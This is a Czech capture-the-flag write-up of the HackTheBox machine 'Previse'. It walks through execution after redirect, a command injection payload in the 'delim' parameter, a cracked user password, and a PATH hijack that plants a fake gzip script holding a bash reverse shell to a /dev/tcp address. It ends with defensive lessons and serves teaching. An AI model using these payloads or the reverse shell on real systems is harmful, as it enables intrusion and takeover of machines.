Previse
Úvod a kontext
Previse je pěkný příklad toho, že autentizace a autorizace nejsou totéž. Web sice vrací redirect na login.php, ale backend přesto dál obslouží požadavek na accounts.php. Tím vznikne registrace bez přihlášení a následně i přístup k funkci, která skládá příkaz přes exec() z nedůvěryhodného vstupu.
Druhá část stroje je mnohem prostší, ale stejně důležitá: po zisku web shellu se z konfigurace vytáhnou databázové přihlašovací údaje, crackne se hash uživatele m4lwhere a root nakonec padne na PATH hijack v sudo skriptu. Je to přesně ten druh řetězce, který je v produkci mnohem reálnější než jeden „zázračný“ exploit.
Počáteční průzkum
Otevřené služby
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29
Enumerace webu
Na první pohled šlo jen o přihlašovací formulář, ale dirsearch našel několik zajímavých cest. Praktickou roli takového content discovery rozebírám i v článku Dirsearch:
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
/accounts.php
/config.php
/download.php
/files.php
/status.php
Analýza zjištění
accounts.php i bez autentizace
Redirect na login.php sám o sobě neznamenal, že server požadavek skutečně zahodil. Přímý přístup na accounts.php totiž stále vrátil funkční formulář pro založení nového účtu.
To je typický příklad EAR, tedy execution after redirect. Aplikace sice pošle odpověď 302, ale kód za redirectem dál běží. V praxi to znamená, že uživatel bez session může využít funkci, která měla být jen pro přihlášené.
Jakmile byl účet založený a bylo možné se přihlásit, otevřely se interní stránky včetně stahování záloh.
download.php a command injection v logs.php
Další důležitý mezikrok vedl přes:
/download.php?file=32
Tato cesta vydala zdroják logs.php, ve kterém byl nejdůležitější tento řádek:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
Vstup delim se tedy vkládal přímo do shellového příkazu bez escapování. Ověření bylo jednoduché:
curl -H 'Cookie: PHPSESSID=...' \
--data-urlencode "delim=tab;sleep 4" \
-X POST http://10.10.11.104/logs.php -v
Časové zpoždění potvrdilo command injection a následoval reverzní shell jako www-data.
Databáze a cracknutí m4lwhere
Ve webovém shellu už dávalo smysl číst aplikační konfiguraci a vytáhnout MySQL pověření. Ta pak otevřela tabulku accounts, kde byly heslové hashe jednotlivých uživatelů.
Prakticky tady dává smysl sáhnout po John the Ripper, protože nejde o guessing naslepo, ale o ověření konkrétního hashe získaného z databáze.
Rozhodující výstup byl tento:
m4lwhere -> ilovecody112235!
Tím vzniklo funkční heslo pro systémový účet a stabilnější přístup přes SSH.
Získání přístupu
SSH jako m4lwhere
Po cracknutí hesla už nebyl důvod zůstávat ve webovém shellu. Přes SSH šlo přejít na stabilní uživatelský kontext:
ssh m4lwhere@10.10.11.104
Potvrzení user části:
cat user.txt
__CENSORED__
Eskalace oprávnění
access_backup.sh a PATH hijack
sudo -l ukázalo jedinou, ale velmi zajímavou možnost:
(root) /opt/scripts/access_backup.sh
Samotný skript byl krátký:
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
To je zásadní problém, protože gzip ani date nejsou volané absolutní cestou. Stačilo tedy podstrčit vlastní binárku nebo skript do adresáře na začátku $PATH:
Je to přesně ten typ lokální eskalace, který rozebírám v článku PATH, PYTHONPATH a wrapper hijack: root nepadá kvůli samotnému backup skriptu, ale proto, že privilegovaný wrapper slepě důvěřuje prostředí.
cd /tmp
echo '#!/bin/bash' > gzip
echo 'bash -i >& /dev/tcp/10.10.14.11/4000 0>&1' >> gzip
chmod +x gzip
export PATH=/tmp:$PATH
sudo /opt/scripts/access_backup.sh
Po spuštění skriptu root sáhl na podvržený gzip a vznikl root shell.
Shrnutí klíčových poznatků
- První slabina na Previse nebyla přímo command injection, ale EAR v
accounts.php, který umožnil registraci bez autentizace. - Webový foothold pak přišel z
logs.php, kde se parametrdelimdostal přímo doexec(). - User část vznikla až z databázových dat a cracknutí hesla
m4lwhere. - Root část byla čistý PATH hijack v
sudoskriptuaccess_backup.sh.
Co si odnést do praxe
- Redirect nesmí nahrazovat autorizaci. Pokud aplikace po
302dál vykoná chráněnou logiku, jde stále o přístup bez oprávnění. - Když aplikace skládá shellový příkaz z uživatelských parametrů, nestačí spoléhat na „neškodné“ hodnoty typu delimiter nebo formátovač. Vše, co skončí v
exec(), je nutné escapovat nebo úplně odstranit ze shellového kontextu. - Databázová hesla a uživatelské hashe nejsou jen interní detail aplikace. Jakmile je získá web shell, často vedou k plnohodnotnému systémovému účtu přes SSH.
sudowrappery musejí používat absolutní cesty a minimální prostředí. Jinak i banální pomocný skript pro zálohování logů končí rootařinou.
Další související články
HTB Stroje
Techniky
- PATH, PYTHONPATH a wrapper hijack
- Document workflow jako RCE nebo file-read primitivum
- `sudo` nad package, backup a container nástroji